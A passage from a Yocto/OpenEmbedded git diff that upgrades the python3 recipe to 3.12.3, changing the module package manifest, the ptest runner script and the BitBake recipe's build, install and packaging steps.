"rdepends": [
- "core",
- "distutils"
+ "core"
],
"summary": "Python development package"
},
@@ -533,42 +568,15 @@
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/difflib.*.pyc"
]
},
- "distutils-windows": {
- "summary": "Python distribution utilities (Windows installer stubs)",
- "rdepends": [
- "core"
- ],
- "files": [],
- "cached": []
- },
- "distutils": {
- "summary": "Python Distribution Utilities",
- "rdepends": [
- "compression",
- "core",
- "email",
- "stringold"
- ],
- "files": [
- "${libdir}/python${PYTHON_MAJMIN}/distutils"
- ],
- "cached": []
- },
"doctest": {
"summary": "Python framework for running examples in docstrings",
"rdepends": [
- "asyncio",
"core",
"debugger",
"difflib",
- "io",
- "logging",
- "netclient",
- "numbers",
"pprint",
"shell",
"stringold",
- "typing",
"unittest"
],
"files": [
@@ -598,6 +606,16 @@
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/imaplib.*.pyc"
]
},
+ "ensurepip": {
+ "summary": "Support for bootstrapping the pip installer",
+ "rdepends": [
+ "core"
+ ],
+ "files": [
+ "${libdir}/python${PYTHON_MAJMIN}/ensurepip/"
+ ],
+ "cached": []
+ },
"fcntl": {
"summary": "Python's fcntl interface",
"rdepends": [
@@ -624,12 +642,9 @@
"core"
],
"files": [
- "${libdir}/python${PYTHON_MAJMIN}/formatter.py",
"${libdir}/python${PYTHON_MAJMIN}/html"
],
- "cached": [
- "${libdir}/python${PYTHON_MAJMIN}/__pycache__/formatter.*.pyc"
- ]
+ "cached": []
},
"idle": {
"summary": "Python Integrated Development Environment",
@@ -667,7 +682,6 @@
],
"files": [
"${libdir}/python${PYTHON_MAJMIN}/_pyio.py",
- "${libdir}/python${PYTHON_MAJMIN}/ipaddress.py",
"${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_socket.*.so",
"${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_ssl.*.so",
"${libdir}/python${PYTHON_MAJMIN}/lib-dynload/termios.*.so",
@@ -678,7 +692,6 @@
],
"cached": [
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/_pyio.*.pyc",
- "${libdir}/python${PYTHON_MAJMIN}/__pycache__/ipaddress.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/pipes.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/socket.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/ssl.*.pyc",
@@ -718,7 +731,6 @@
"crypt",
"datetime",
"email",
- "fcntl",
"io",
"math",
"mime",
@@ -789,9 +801,9 @@
"db",
"debugger",
"difflib",
- "distutils",
"doctest",
"email",
+ "ensurepip",
"fcntl",
"html",
"idle",
@@ -815,22 +827,20 @@
"pydoc",
"resource",
"shell",
- "smtpd",
"sqlite3",
+ "statistics",
"stringold",
"syslog",
"terminal",
"threading",
"tkinter",
- "typing",
+ "tomllib",
"unittest",
"unixadmin",
"venv",
"xml",
- "xmlrpc"
- ],
- "rrecommends": [
- "distutils-windows"
+ "xmlrpc",
+ "zoneinfo"
],
"summary": "All Python modules"
},
@@ -879,6 +889,7 @@
"${libdir}/python${PYTHON_MAJMIN}/secrets.py",
"${libdir}/python${PYTHON_MAJMIN}/smtplib.py",
"${libdir}/python${PYTHON_MAJMIN}/telnetlib.py",
+ "${libdir}/python${PYTHON_MAJMIN}/urllib",
"${libdir}/python${PYTHON_MAJMIN}/uuid.py"
],
"cached": [
@@ -1050,31 +1061,6 @@
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/shlex.*.pyc"
]
},
- "smtpd": {
- "summary": "Python Simple Mail Transport Daemon",
- "rdepends": [
- "core",
- "crypt",
- "datetime",
- "email",
- "io",
- "math",
- "mime",
- "netclient",
- "stringold"
- ],
- "files": [
- "${bindir}/smtpd.py",
- "${libdir}/python${PYTHON_MAJMIN}/asynchat.py",
- "${libdir}/python${PYTHON_MAJMIN}/asyncore.py",
- "${libdir}/python${PYTHON_MAJMIN}/smtpd.py"
- ],
- "cached": [
- "${libdir}/python${PYTHON_MAJMIN}/__pycache__/asynchat.*.pyc",
- "${libdir}/python${PYTHON_MAJMIN}/__pycache__/asyncore.*.pyc",
- "${libdir}/python${PYTHON_MAJMIN}/__pycache__/smtpd.*.pyc"
- ]
- },
"sqlite3": {
"summary": "Python Sqlite3 database support",
"rdepends": [
@@ -1087,6 +1073,22 @@
],
"cached": []
},
+ "statistics": {
+ "summary": "Basic statistics module",
+ "rdepends": [
+ "core",
+ "crypt",
+ "math",
+ "numbers"
+ ],
+ "files": [
+ "${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_statistics.*.so",
+ "${libdir}/python${PYTHON_MAJMIN}/statistics.py"
+ ],
+ "cached": [
+ "${libdir}/python${PYTHON_MAJMIN}/__pycache__/statistics.*.pyc"
+ ]
+ },
"stringold": {
"summary": "Python string APIs [deprecated]",
"rdepends": [
@@ -1130,13 +1132,11 @@
"core"
],
"files": [
- "${libdir}/python${PYTHON_MAJMIN}/_dummy_thread.py",
"${libdir}/python${PYTHON_MAJMIN}/_threading_local.py",
"${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_queue.*.so",
"${libdir}/python${PYTHON_MAJMIN}/queue.py"
],
"cached": [
- "${libdir}/python${PYTHON_MAJMIN}/__pycache__/_dummy_thread.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/_threading_local.*.pyc",
"${libdir}/python${PYTHON_MAJMIN}/__pycache__/queue.*.pyc"
]
@@ -1152,18 +1152,28 @@
],
"cached": []
},
- "typing": {
- "summary": "Python typing support",
+ "tomllib": {
+ "summary": "Provides an interface for parsing TOML",
"rdepends": [
"core"
],
"files": [
- "${libdir}/python${PYTHON_MAJMIN}/typing.py"
+ "${libdir}/python${PYTHON_MAJMIN}/tomllib/"
+ ],
+ "cached": []
+ },
+ "turtle": {
+ "summary": "Turtle graphics is a popular way for introducing programming to kids.",
+ "rdepends": [
+ "tkinter"
+ ],
+ "files": [
+ "${libdir}/python${PYTHON_MAJMIN}/turtle.py"
],
"cached": [
- "${libdir}/python${PYTHON_MAJMIN}/__pycache__/typing.*.pyc"
+ "${libdir}/python${PYTHON_MAJMIN}/__pycache__/turtle.*.pyc"
]
- },
+ },
"unittest": {
"summary": "Python unit testing framework",
"rdepends": [
@@ -1175,8 +1185,7 @@
"netclient",
"numbers",
"pprint",
- "stringold",
- "typing"
+ "stringold"
],
"files": [
"${libdir}/python${PYTHON_MAJMIN}/unittest",
@@ -1232,7 +1241,6 @@
"crypt",
"datetime",
"email",
- "fcntl",
"html",
"io",
"math",
@@ -1249,5 +1257,30 @@
"${libdir}/python${PYTHON_MAJMIN}/xmlrpc/__pycache__"
],
"cached": []
+ },
+ "zipapp": {
+ "summary": "Tools to manage the creation of zip files containing Python code",
+ "rdepends": [
+ "compression",
+ "core"
+ ],
+ "files": [
+ "${libdir}/python${PYTHON_MAJMIN}/zipapp.py"
+ ],
+ "cached": [
+ "${libdir}/python${PYTHON_MAJMIN}/__pycache__/zipapp.*.pyc"
+ ]
+ },
+ "zoneinfo": {
+ "summary": "IANA time zone support",
+ "rdepends": [
+ "core",
+ "datetime"
+ ],
+ "files": [
+ "${libdir}/python${PYTHON_MAJMIN}/lib-dynload/_zoneinfo.*.so",
+ "${libdir}/python${PYTHON_MAJMIN}/zoneinfo"
+ ],
+ "cached": []
}
}
diff --git a/meta/recipes-devtools/python/python3/reformat_sysconfig.py b/meta/recipes-devtools/python/python3/reformat_sysconfig.py
index c4164313e8..5e2b12879d 100644
--- a/meta/recipes-devtools/python/python3/reformat_sysconfig.py
+++ b/meta/recipes-devtools/python/python3/reformat_sysconfig.py
@@ -16,6 +16,6 @@ with open(sys.argv[1], 'r') as f:
with open(sys.argv[1], 'w') as f:
for k in sorted(l.keys()):
f.write('%s = ' % k)
- pprint.pprint(l[k], stream=f, width=sys.maxsize)
+ pprint.pprint(l[k], stream=f, width=1)
f.write('\n')
diff --git a/meta/recipes-devtools/python/python3/run-ptest b/meta/recipes-devtools/python/python3/run-ptest
index 405b07f495..d1c26c11e2 100644
--- a/meta/recipes-devtools/python/python3/run-ptest
+++ b/meta/recipes-devtools/python/python3/run-ptest
@@ -1,3 +1,3 @@
#!/bin/sh
-
-python3 -m test -v | sed -u -e '/\.\.\. ok/ s/^/PASS: /g' -r -e '/\.\.\. (ERROR|FAIL)/ s/^/FAIL: /g' -e '/\.\.\. skipped/ s/^/SKIP: /g' -e 's/ \.\.\. ok//g' -e 's/ \.\.\. ERROR//g' -e 's/ \.\.\. FAIL//g' -e 's/ \.\.\. skipped//g'
+SKIPPED_TESTS=
+{ SETUPTOOLS_USE_DISTUTILS=nonlocal python3 -m test $SKIPPED_TESTS -v -j 4 || echo "FAIL: python3" ; } | sed -u -e '/\.\.\. ok/ s/^/PASS: /g' -r -e '/\.\.\. (ERROR|FAIL)/ s/^/FAIL: /g' -e '/\.\.\. skipped/ s/^/SKIP: /g' -e 's/ \.\.\. ok//g' -e 's/ \.\.\. ERROR//g' -e 's/ \.\.\. FAIL//g' -e 's/ \.\.\. skipped//g'
diff --git a/meta/recipes-devtools/python/python3_3.12.3.bb b/meta/recipes-devtools/python/python3_3.12.3.bb
new file mode 100644
index 0000000000..b49a58a101
--- /dev/null
+++ b/meta/recipes-devtools/python/python3_3.12.3.bb
@@ -0,0 +1,470 @@
+SUMMARY = "The Python Programming Language"
+HOMEPAGE = "http://www.python.org"
+DESCRIPTION = "Python is a programming language that lets you work more quickly and integrate your systems more effectively."
+LICENSE = "PSF-2.0"
+SECTION = "devel/python"
+
+LIC_FILES_CHKSUM = "file://LICENSE;md5=fcf6b249c2641540219a727f35d8d2c2"
+
+SRC_URI = "http://www.python.org/ftp/python/${PV}/Python-${PV}.tar.xz \
+ file://run-ptest \
+ file://create_manifest3.py \
+ file://get_module_deps3.py \
+ file://python3-manifest.json \
+ file://check_build_completeness.py \
+ file://reformat_sysconfig.py \
+ file://cgi_py.patch \
+ file://0001-Makefile.pre-use-qemu-wrapper-when-gathering-profile.patch \
+ file://0001-python3-use-cc_basename-to-replace-CC-for-checking-c.patch \
+ file://crosspythonpath.patch \
+ file://0001-test_locale.py-correct-the-test-output-format.patch \
+ file://0020-configure.ac-setup.py-do-not-add-a-curses-include-pa.patch \
+ file://0001-Skip-failing-tests-due-to-load-variability-on-YP-AB.patch \
+ file://0001-test_ctypes.test_find-skip-without-tools-sdk.patch \
+ file://makerace.patch \
+ file://0001-sysconfig.py-use-platlibdir-also-for-purelib.patch \
+ file://0001-Lib-pty.py-handle-stdin-I-O-errors-same-way-as-maste.patch \
+ file://deterministic_imports.patch \
+ file://0001-Avoid-shebang-overflow-on-python-config.py.patch \
+ file://0001-Update-test_sysconfig-for-posix_user-purelib.patch \
+ file://0001-skip-no_stdout_fileno-test-due-to-load-variability.patch \
+ file://0001-test_storlines-skip-due-to-load-variability.patch \
+ file://0001-gh-114492-Initialize-struct-termios-before-calling-t.patch \
+ "
+
+SRC_URI:append:class-native = " \
+ file://0001-Lib-sysconfig.py-use-prefix-value-from-build-configu.patch \
+ "
+
+SRC_URI[sha256sum] = "56bfef1fdfc1221ce6720e43a661e3eb41785dd914ce99698d8c7896af4bdaa1"
+
+# exclude pre-releases for both python 2.x and 3.x
+UPSTREAM_CHECK_REGEX = "[Pp]ython-(?P<pver>\d+(\.\d+)+).tar"
+
+CVE_PRODUCT = "python cpython"
+
+CVE_STATUS[CVE-2007-4559] = "disputed: Upstream consider this expected behaviour"
+CVE_STATUS[CVE-2019-18348] = "not-applicable-config: This is not exploitable when glibc has CVE-2016-10739 fixed"
+CVE_STATUS[CVE-2020-15523] = "not-applicable-platform: Issue only applies on Windows"
+CVE_STATUS[CVE-2022-26488] = "not-applicable-platform: Issue only applies on Windows"
+# The module will be removed in the future and flaws documented.
+CVE_STATUS[CVE-2015-20107] = "upstream-wontfix: The mailcap module is insecure by design, so this can't be fixed in a meaningful way"
+CVE_STATUS[CVE-2023-36632] = "disputed: Not an issue, in fact expected behaviour"
+
+PYTHON_MAJMIN = "3.12"
+
+S = "${WORKDIR}/Python-${PV}"
+
+BBCLASSEXTEND = "native nativesdk"
+
+inherit autotools pkgconfig qemu ptest multilib_header update-alternatives
+
+MULTILIB_SUFFIX = "${@d.getVar('base_libdir',1).split('/')[-1]}"
+
+ALTERNATIVE:${PN}-dev = "python3-config"
+ALTERNATIVE_LINK_NAME[python3-config] = "${bindir}/python${PYTHON_MAJMIN}-config"
+ALTERNATIVE_TARGET[python3-config] = "${bindir}/python${PYTHON_MAJMIN}-config-${MULTILIB_SUFFIX}"
+
+
+DEPENDS = "bzip2-replacement-native expat libffi bzip2 openssl sqlite3 zlib virtual/libintl xz virtual/crypt util-linux-libuuid libtirpc libnsl2 autoconf-archive-native ncurses"
+DEPENDS:append:class-target = " python3-native"
+DEPENDS:append:class-nativesdk = " python3-native"
+
+EXTRA_OECONF = " --without-ensurepip --enable-shared --with-platlibdir=${baselib} --with-system-expat"
+EXTRA_OECONF:append:class-native = " --bindir=${bindir}/${PN}"
+EXTRA_OECONF:append:class-target = " --with-build-python=nativepython3"
+EXTRA_OECONF:append:class-nativesdk = " --with-build-python=nativepython3"
+
+export CROSSPYTHONPATH="${STAGING_LIBDIR_NATIVE}/python${PYTHON_MAJMIN}/lib-dynload/"
+
+EXTRANATIVEPATH += "python3-native"
+
+# LTO will be enabled via packageconfig depending upong distro features
+LTO:class-target = ""
+
+CACHED_CONFIGUREVARS = " \
+ ac_cv_file__dev_ptmx=yes \
+ ac_cv_file__dev_ptc=no \
+ ac_cv_working_tzset=yes \
+"
+# set thread stack size to 2MB on musl for interpreter and stdlib C extensions
+# so it does not run into stack limits due to musl's small thread stack
+# This is only needed to build interpreter and not the subsequent modules
+# Thats why CFLAGS_NODIST is modified instead of CFLAGS
+CACHED_CONFIGUREVARS:append:libc-musl = "\
+ CFLAGS_NODIST='${CFLAGS} -DTHREAD_STACK_SIZE=0x200000' \
+"
+
+# PGO currently causes builds to not be reproducible so disable by default, see YOCTO #13407
+PACKAGECONFIG ??= "editline gdbm ${@bb.utils.filter('DISTRO_FEATURES', 'lto', d)}"
+PACKAGECONFIG[readline] = "--with-readline=readline,,readline,,,editline"
+PACKAGECONFIG[editline] = "--with-readline=editline,,libedit,,,readline"
+# Use profile guided optimisation by running PyBench inside qemu-user
+PACKAGECONFIG[pgo] = "--enable-optimizations,,qemu-native"
+PACKAGECONFIG[tk] = ",,tk"
+PACKAGECONFIG[tcl] = ",,tcl"
+PACKAGECONFIG[gdbm] = ",,gdbm"
+PACKAGECONFIG[lto] = "--with-lto,--without-lto"
+
+do_configure:prepend () {
+ mkdir -p ${B}/Modules
+ cat > ${B}/Modules/Setup.local << EOF
+*disabled*
+${@bb.utils.contains('PACKAGECONFIG', 'gdbm', '', '_gdbm _dbm', d)}
+${@bb.utils.contains_any('PACKAGECONFIG', 'readline editline', '', 'readline', d)}
+${@bb.utils.contains('PACKAGECONFIG', 'tk', '', '_tkinter', d)}
+EOF
+}
+
+CPPFLAGS:append = " -I${STAGING_INCDIR}/ncursesw -I${STAGING_INCDIR}/uuid"
+
+# COMPILEALL_OPTS= ensures that .pyc are not compiled in parallel
+# This was found to lock up builds, break reproducibility, and produce strange file ownership
+# races.
+#
+# The upstream commit introducing the change was:
+# https://github.com/python/cpython/commit/1a2dd82f56bd813aacc570e172cefe55a8a41504
+#
+# The build lock up issue is reported here:
+# https://bugs.python.org/issue45945
+#
+# The repro failures are documented here:
+# https://autobuilder.yocto.io/pub/repro-fail/oe-reproducible-20211130-yr_o1a8d/packages/diff-html/
+
+EXTRA_OEMAKE = '\
+ STAGING_LIBDIR=${STAGING_LIBDIR} \
+ STAGING_INCDIR=${STAGING_INCDIR} \
+ LIB=${baselib} \
+ COMPILEALL_OPTS= \
+'
+
+# Generate a Profile Guided Optimisation wrapper script that uses qemu-user for
+# all cross builds.
+write_pgo_wrapper:class-native = ":"
+write_pgo_wrapper() {
+ if ${@bb.utils.contains('PACKAGECONFIG', 'pgo', 'true', 'false', d)}; then
+ cat >pgo-wrapper <<EOF
+#!/bin/sh
+cd ${B}
+${@qemu_wrapper_cmdline(d, '${STAGING_DIR_TARGET}', ['${B}', '${STAGING_DIR_TARGET}/${base_libdir}'])} "\$@"
+EOF
+ chmod +x pgo-wrapper
+ fi
+}
+
+do_compile:prepend() {
+ write_pgo_wrapper
+}
+
+do_install:prepend() {
+ ${WORKDIR}/check_build_completeness.py ${T}/log.do_compile
+}
+
+do_install:append:class-target() {
+ oe_multilib_header python${PYTHON_MAJMIN}/pyconfig.h
+}
+
+do_install:append:class-native() {
+ # Make sure we use /usr/bin/env python
+ for PYTHSCRIPT in `grep -rIl ${bindir}/${PN}/python ${D}${bindir}/${PN}`; do
+ sed -i -e '1s|^#!.*|#!/usr/bin/env python3|' $PYTHSCRIPT
+ done
+ # Add a symlink to the native Python so that scripts can just invoke
+ # "nativepython" and get the right one without needing absolute paths
+ # (these often end up too long for the #! parser in the kernel as the
+ # buffer is 128 bytes long).
+ ln -s python3-native/python3 ${D}${bindir}/nativepython3
+
+ # Remove the opt-1.pyc and opt-2.pyc files. There are over 3,000 of them
+ # and the overhead in each recipe-sysroot-native isn't worth it, particularly
+ # when they're only used for python called with -O or -OO.
+ #find ${D} -name *opt-*.pyc -delete
+ # Remove all pyc files. There are a ton of them and it is probably faster to let
+ # python create the ones it wants at runtime rather than manage in the sstate
+ # tarballs and sysroot creation.
+ find ${D} -name *.pyc -delete
+
+ # Nothing should be looking into ${B} for python3-native
+ sed -i -e 's:${B}:/build/path/unavailable/:g' \
+ ${D}/${libdir}/python${PYTHON_MAJMIN}/config-${PYTHON_MAJMIN}${PYTHON_ABI}*/Makefile
+
+ # disable the lookup in user's site-packages globally
+ sed -i 's#ENABLE_USER_SITE = None#ENABLE_USER_SITE = False#' ${D}${libdir}/python${PYTHON_MAJMIN}/site.py
+
+ # python3-config needs to be in /usr/bin and not in a subdir of it to work properly
+ mv ${D}/${bindir}/${PN}/python*config ${D}/${bindir}/
+}
+
+do_install:append() {
+ for c in ${D}/${libdir}/python${PYTHON_MAJMIN}/_sysconfigdata*.py; do
+ python3 ${WORKDIR}/reformat_sysconfig.py $c
+ done
+ rm -f ${D}${libdir}/python${PYTHON_MAJMIN}/__pycache__/_sysconfigdata*.cpython*
+
+ mkdir -p ${D}${libdir}/python-sysconfigdata
+ sysconfigfile=`find ${D} -name _sysconfig*.py`
+ sed -i \
+ -e "s,^ 'LIBDIR'.*, 'LIBDIR': '${STAGING_LIBDIR}'\,,g" \
+ -e "s,^ 'INCLUDEDIR'.*, 'INCLUDEDIR': '${STAGING_INCDIR}'\,,g" \
+ -e "s,^ 'CONFINCLUDEDIR'.*, 'CONFINCLUDEDIR': '${STAGING_INCDIR}'\,,g" \
+ -e "s,^ 'INCLUDEPY'.*, 'INCLUDEPY': '${STAGING_INCDIR}/python${PYTHON_MAJMIN}'\,,g" \
+ -e "s,^ 'CONFINCLUDEPY'.*, 'CONFINCLUDEPY': '${STAGING_INCDIR}/python${PYTHON_MAJMIN}'\,,g" \
+ -e "s,${B},/build/path/unavailable/,g" \
+ $sysconfigfile
+ cp $sysconfigfile ${D}${libdir}/python-sysconfigdata/_sysconfigdata.py
+
+
+ # Unfortunately the following pyc files are non-deterministc due to 'frozenset'
+ # being written without strict ordering, even with PYTHONHASHSEED = 0
+ # Upstream is discussing ways to solve the issue properly, until then let's
+ # just not install the problematic files.
+ # More info: http://benno.id.au/blog/2013/01/15/python-determinism
+ rm -f ${D}${libdir}/python${PYTHON_MAJMIN}/test/__pycache__/test_range.cpython*
+ rm -f ${D}${libdir}/python${PYTHON_MAJMIN}/test/__pycache__/test_xml_etree.cpython*
+
+ # Similar to the above, we're getting reproducibility issues with
+ # /usr/lib/python3.10/__pycache__/traceback.cpython-310.pyc
+ # so remove it too
+ rm -f ${D}${libdir}/python${PYTHON_MAJMIN}/__pycache__/traceback.cpython*
+
+ # Remove the opt-1.pyc and opt-2.pyc files. They effectively waste space on embedded
+ # style targets as they're only used when python is called with the -O or -OO options
+ # which is rare.
+ find ${D} -name *opt-*.pyc -delete
+}
+
+do_install:append:class-nativesdk () {
+ # Make sure we use /usr/bin/env python
+ for PYTHSCRIPT in `grep -rIl ${bindir}/python ${D}${bindir}`; do
+ sed -i -e '1s|^#!.*|#!/usr/bin/env python3|' $PYTHSCRIPT
+ done
+ create_wrapper ${D}${bindir}/python${PYTHON_MAJMIN} TERMINFO_DIRS='${sysconfdir}/terminfo:/etc/terminfo:/usr/share/terminfo:/usr/share/misc/terminfo:/lib/terminfo' PYTHONNOUSERSITE='1'
+}
+
+do_install_ptest:append:class-target:libc-musl () {
+ sed -i -e 's|SKIPPED_TESTS=|SKIPPED_TESTS="-x test__locale -x test_c_locale_coercion -x test_locale -x test_os test_re -x test__xxsubinterpreters -x test_threading"|' ${D}${PTEST_PATH}/run-ptest
+}
+
+SYSROOT_PREPROCESS_FUNCS:append:class-target = " provide_target_config_script"
+SYSROOT_PREPROCESS_FUNCS:append:class-nativesdk = " provide_target_config_script"
+
+# This is installed into /usr/python-target-config/ and not /usr/bin
+# because adding target sysroot's /usr/bin/ to PATH has unwanted side effects
+# in components erroneously picking up other target executables from it
+provide_target_config_script() {
+ install -d ${SYSROOT_DESTDIR}${prefix}/python-target-config/
+ install ${D}/${bindir}/python3-config ${SYSROOT_DESTDIR}/${prefix}/python-target-config/
+ install ${D}/${bindir}/python${PYTHON_MAJMIN}-config ${SYSROOT_DESTDIR}/${prefix}/python-target-config/
+}
+SYSROOT_DIRS += "${prefix}/python-target-config/"
+
+SSTATE_SCAN_FILES += "Makefile _sysconfigdata.py"
+SSTATE_HASHEQUIV_FILEMAP = " \
+ populate_sysroot:*/lib*/python3*/_sysconfigdata*.py:${TMPDIR} \
+ populate_sysroot:*/lib*/python3*/_sysconfigdata*.py:${COREBASE} \
+ populate_sysroot:*/lib*/python3*/config-*/Makefile:${TMPDIR} \
+ populate_sysroot:*/lib*/python3*/config-*/Makefile:${COREBASE} \
+ populate_sysroot:*/lib*/python-sysconfigdata/_sysconfigdata.py:${TMPDIR} \
+ populate_sysroot:*/lib*/python-sysconfigdata/_sysconfigdata.py:${COREBASE} \
+ "
+PACKAGE_PREPROCESS_FUNCS += "py_package_preprocess"
+
+py_package_preprocess () {
+ # Remove references to buildmachine paths in target Makefile and _sysconfigdata
+ sed -i -e 's:--sysroot=${STAGING_DIR_TARGET}::g' -e s:'--with-libtool-sysroot=${STAGING_DIR_TARGET}'::g \
+ -e 's|${DEBUG_PREFIX_MAP}||g' \
+ -e 's:${HOSTTOOLS_DIR}/::g' \
+ -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
+ -e 's:${RECIPE_SYSROOT}::g' \
+ -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
+ ${PKGD}/${libdir}/python${PYTHON_MAJMIN}/config-${PYTHON_MAJMIN}${PYTHON_ABI}*/Makefile \
+ ${PKGD}/${libdir}/python${PYTHON_MAJMIN}/_sysconfigdata*.py \
+ ${PKGD}/${bindir}/python${PYTHON_MAJMIN}-config
+
+ # Reformat _sysconfigdata after modifying it so that it remains
+ # reproducible
+ for c in ${PKGD}/${libdir}/python${PYTHON_MAJMIN}/_sysconfigdata*.py; do
+ python3 ${WORKDIR}/reformat_sysconfig.py $c
+ done
+
+ # Recompile _sysconfigdata after modifying it
+ cd ${PKGD}
+ sysconfigfile=`find . -name _sysconfigdata_*.py`
+ ${STAGING_BINDIR_NATIVE}/python3-native/python3 \
+ -c "from py_compile import compile; compile('$sysconfigfile')"
+ ${STAGING_BINDIR_NATIVE}/python3-native/python3 \
+ -c "from py_compile import compile; compile('$sysconfigfile', optimize=1)"
+ ${STAGING_BINDIR_NATIVE}/python3-native/python3 \
+ -c "from py_compile import compile; compile('$sysconfigfile', optimize=2)"
+ cd -
+
+ mv ${PKGD}/${bindir}/python${PYTHON_MAJMIN}-config ${PKGD}/${bindir}/python${PYTHON_MAJMIN}-config-${MULTILIB_SUFFIX}
+
+ #Remove the unneeded copy of target sysconfig data
+ rm -rf ${PKGD}/${libdir}/python-sysconfigdata
+}
+
+# We want bytecode precompiled .py files (.pyc's) by default
+# but the user may set it on their own conf
+INCLUDE_PYCS ?= "1"
+
+python(){
+ import collections, json
+
+ filename = os.path.join(d.getVar('THISDIR'), 'python3', 'python3-manifest.json')
+ # This python changes the datastore based on the contents of a file, so mark
+ # that dependency.
+ bb.parse.mark_dependency(d, filename)
+
+ with open(filename) as manifest_file:
+ manifest_str = manifest_file.read()
+ json_start = manifest_str.find('# EOC') + 6
+ manifest_file.seek(json_start)
+ manifest_str = manifest_file.read()
+ python_manifest = json.loads(manifest_str, object_pairs_hook=collections.OrderedDict)
+
+ # First set RPROVIDES for -native case
+ # Hardcoded since it cant be python3-native-foo, should be python3-foo-native
+ pn = 'python3'
+ rprovides = (d.getVar('RPROVIDES') or "").split()
+
+ # ${PN}-misc-native is not in the manifest
+ rprovides.append(pn + '-misc-native')
+
+ for key in python_manifest:
+ pypackage = pn + '-' + key + '-native'
+ if pypackage not in rprovides:
+ rprovides.append(pypackage)
+
+ d.setVar('RPROVIDES:class-native', ' '.join(rprovides))
+
+ # Then work on the target
+ include_pycs = d.getVar('INCLUDE_PYCS')
+
+ packages = d.getVar('PACKAGES').split()
+ pn = d.getVar('PN')
+
+ newpackages=[]
+ for key in python_manifest:
+ pypackage = pn + '-' + key
+
+ if pypackage not in packages:
+ # We need to prepend, otherwise python-misc gets everything
+ # so we use a new variable
+ newpackages.append(pypackage)
+
+ # "Build" python's manifest FILES, RDEPENDS and SUMMARY
+ d.setVar('FILES:' + pypackage, '')
+ for value in python_manifest[key]['files']:
+ d.appendVar('FILES:' + pypackage, ' ' + value)
+
+ # Add cached files
+ if include_pycs == '1':
+ for value in python_manifest[key]['cached']:
+ d.appendVar('FILES:' + pypackage, ' ' + value)
+
+ for value in python_manifest[key]['rdepends']:
+ # Make it work with or without $PN
+ if '${PN}' in value:
+ value=value.split('-', 1)[1]
+ d.appendVar('RDEPENDS:' + pypackage, ' ' + pn + '-' + value)
+
+ for value in python_manifest[key].get('rrecommends', ()):
+ if '${PN}' in value:
+ value=value.split('-', 1)[1]
+ d.appendVar('RRECOMMENDS:' + pypackage, ' ' + pn + '-' + value)
+
+ d.setVar('SUMMARY:' + pypackage, python_manifest[key]['summary'])
+
+ # Prepending so to avoid python-misc getting everything
+ packages = newpackages + packages
+ d.setVar('PACKAGES', ' '.join(packages))
+ d.setVar('ALLOW_EMPTY:${PN}-modules', '1')
+ d.setVar('ALLOW_EMPTY:${PN}-pkgutil', '1')
+
+ if "pgo" in d.getVar("PACKAGECONFIG").split() and not bb.utils.contains('MACHINE_FEATURES', 'qemu-usermode', True, False, d):
+ bb.fatal("pgo cannot be enabled as there is no qemu-usermode support for this architecture/machine")
+}
+
+# Files needed to create a new manifest
+
+do_create_manifest() {
+ # This task should be run with every new release of Python.
+ # We must ensure that PACKAGECONFIG enables everything when creating
+ # a new manifest, this is to base our new manifest on a complete
+ # native python build, containing all dependencies, otherwise the task
+ # wont be able to find the required files.
+ # e.g. BerkeleyDB is an optional build dependency so it may or may not
+ # be present, we must ensure it is.
+
+ cd ${WORKDIR}
+ # This needs to be executed by python-native and NOT by HOST's python
+ nativepython3 create_manifest3.py ${PYTHON_MAJMIN}
+ cp python3-manifest.json.new ${THISDIR}/python3/python3-manifest.json
+}
+
+# bitbake python -c create_manifest
+# Make sure we have native python ready when we create a new manifest
+addtask do_create_manifest after do_patch do_prepare_recipe_sysroot
+
+# manual dependency additions
+RRECOMMENDS:${PN}-core:append:class-nativesdk = " nativesdk-python3-modules"
+RRECOMMENDS:${PN}-crypt:append:class-target = " ${MLPREFIX}openssl ${MLPREFIX}ca-certificates"
+RRECOMMENDS:${PN}-crypt:append:class-nativesdk = " ${MLPREFIX}openssl ${MLPREFIX}ca-certificates"
+
+# For historical reasons PN is empty and provided by python3-modules
+FILES:${PN} = ""
+RPROVIDES:${PN}-modules = "${PN}"
+
+FILES:${PN}-pydoc += "${bindir}/pydoc${PYTHON_MAJMIN} ${bindir}/pydoc3"
+FILES:${PN}-idle += "${bindir}/idle3 ${bindir}/idle${PYTHON_MAJMIN}"
+
+# provide python-pyvenv from python3-venv
+RPROVIDES:${PN}-venv += "${MLPREFIX}python3-pyvenv"
+
+# package libpython3
+PACKAGES =+ "libpython3 libpython3-staticdev"
+FILES:libpython3 = "${libdir}/libpython*.so.*"
+FILES:libpython3-staticdev += "${libdir}/python${PYTHON_MAJMIN}/config-${PYTHON_MAJMIN}-*/libpython${PYTHON_MAJMIN}.a"
+INSANE_SKIP:${PN}-dev += "dev-elf"
+INSANE_SKIP:${PN}-ptest = "dev-deps"
+
+# catch all the rest (unsorted)
+PACKAGES += "${PN}-misc"
+RDEPENDS:${PN}-misc += "\
+ ${PN}-audio \
+ ${PN}-codecs \
+ ${PN}-core \
+ ${PN}-email \
+ ${PN}-numbers \
+ ${PN}-pickle \
+ ${PN}-pydoc \
+"
+RDEPENDS:${PN}-modules:append:class-target = " ${MLPREFIX}python3-misc"
+RDEPENDS:${PN}-modules:append:class-nativesdk = " ${MLPREFIX}python3-misc"
+RDEPENDS:${PN}-modules:append:class-target = " ${@bb.utils.contains('PACKAGECONFIG', 'gdbm', '${MLPREFIX}python3-gdbm', '', d)}"
+FILES:${PN}-misc = "${libdir}/python${PYTHON_MAJMIN} ${libdir}/python${PYTHON_MAJMIN}/lib-dynload"
+
+# catch manpage
+PACKAGES += "${PN}-man"
+FILES:${PN}-man = "${datadir}/man"
+
+# See https://bugs.python.org/issue18748 and https://bugs.python.org/issue37395
+RDEPENDS:libpython3:append:libc-glibc = " libgcc"
